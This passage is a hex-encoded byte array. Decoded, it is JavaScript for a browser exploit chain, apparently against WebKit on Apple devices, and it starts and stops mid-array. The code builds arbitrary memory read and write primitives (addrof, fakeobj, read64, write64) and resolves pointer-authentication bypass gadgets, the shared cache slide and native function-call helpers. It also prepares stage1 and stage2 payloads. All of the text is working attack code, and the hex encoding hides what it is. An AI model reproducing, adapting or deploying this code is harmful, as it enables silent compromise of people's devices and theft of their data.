0x7d, 0x3b, 0xa, 0x20, 0x20, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x2c, 0x20, 0x77, 0x68, 0x61, 0x74, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x61, 0x74, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x38, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x72, 0x73, 0x20, 0x3d, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x72, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x38, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x2c, 0x20, 0x77, 0x68, 0x61, 0x74, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x61, 0x74, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6d, 0x70, 0x38, 0x5f, 0x77, 0x61, 0x69, 0x74, 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x2c, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x28, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x3d, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x20, 0x3d, 0x20, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x3b, 0xa, 0x20, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x66, 0x61, 0x6b, 0x65, 0x6f, 0x62, 0x6a, 0x20, 0x3d, 0x20, 0x66, 0x61, 0x6b, 0x65, 0x6f, 0x62, 0x6a, 0x3b, 0xa, 0x20, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x3b, 0xa, 0x20, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x6d, 0x65, 0x6d, 0x2e, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x3b, 0xa, 0x20, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x63, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x6a, 0x73, 0x5f, 0x73, 0x74, 0x72, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x73, 0x20, 0x3d, 0x20, 0x6a, 0x73, 0x5f, 0x73, 0x74, 0x72, 0x20, 0x2b, 0x20, 0x22, 0x5c, 0x78, 0x30, 0x30, 0x22, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x5b, 0x5d, 0x5b, 0x73, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x28, 0x73, 0x29, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x62, 0x69, 0x67, 0x69, 0x6e, 0x74, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x28, 0x22, 0x30, 0x78, 0x33, 0x33, 0x33, 0x33, 0x22, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x5f, 0x62, 0x69, 0x67, 0x69, 0x6e, 0x74, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x62, 0x69, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x62, 0x69, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x31, 0x6e, 0x20, 0x2d, 0x20, 0x30, 0x78, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x62, 0x69, 0x67, 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x64, 0x64, 0x72, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x62, 0x69, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x28, 0x62, 0x69, 0x29, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x31, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x67, 0x70, 0x75, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x70, 0x61, 0x63, 0x69, 0x62, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x4c, 0x4f, 0x47, 0x20, 0x3d, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x3b, 0xa, 0x20, 0x20, 0x69, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x74, 0x65, 0x64, 0x20, 0x3d, 0x20, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x73, 0x65, 0x5f, 0x6a, 0x73, 0x5f, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x3d, 0x20, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x5f, 0x43, 0x46, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x43, 0x6f, 0x70, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x79, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x6c, 0x6f, 0x61, 0x64, 0x5f, 0x78, 0x31, 0x78, 0x33, 0x78, 0x38, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x31, 0x34, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x5f, 0x78, 0x38, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x69, 0x73, 0x4e, 0x41, 0x4e, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x69, 0x73, 0x4e, 0x41, 0x4e, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x32, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x78, 0x70, 0x61, 0x63, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x73, 0x74, 0x61, 0x67, 0x65, 0x31, 0x5f, 0x6a, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x73, 0x74, 0x61, 0x67, 0x65, 0x32, 0x5f, 0x6a, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x53, 0x59, 0x53, 0x4c, 0x4f, 0x47, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x29, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x31, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x69, 0x64, 0x78, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x44, 0x4c, 0x53, 0x59, 0x4d, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x64, 0x79, 0x6c, 0x64, 0x5f, 0x73, 0x69, 0x67, 0x6e, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x5f, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x73, 0x68, 0x61, 0x72, 0x65, 0x64, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x5f, 0x73, 0x6c, 0x69, 0x64, 0x65, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x70, 0x63, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x5f, 0x43, 0x46, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x43, 0x6f, 0x70, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x79, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x6f, 0x61, 0x64, 0x5f, 0x78, 0x31, 0x78, 0x33, 0x78, 0x38, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x31, 0x34, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x5f, 0x78, 0x38, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x69, 0x73, 0x4e, 0x41, 0x4e, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x69, 0x73, 0x4e, 0x41, 0x4e, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x32, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x78, 0x70, 0x61, 0x63, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x67, 0x65, 0x31, 0x5f, 0x6a, 0x73, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x5f, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x30, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x22, 0x22, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x6c, 0x65, 0x74, 0x20, 0x69, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0x20, 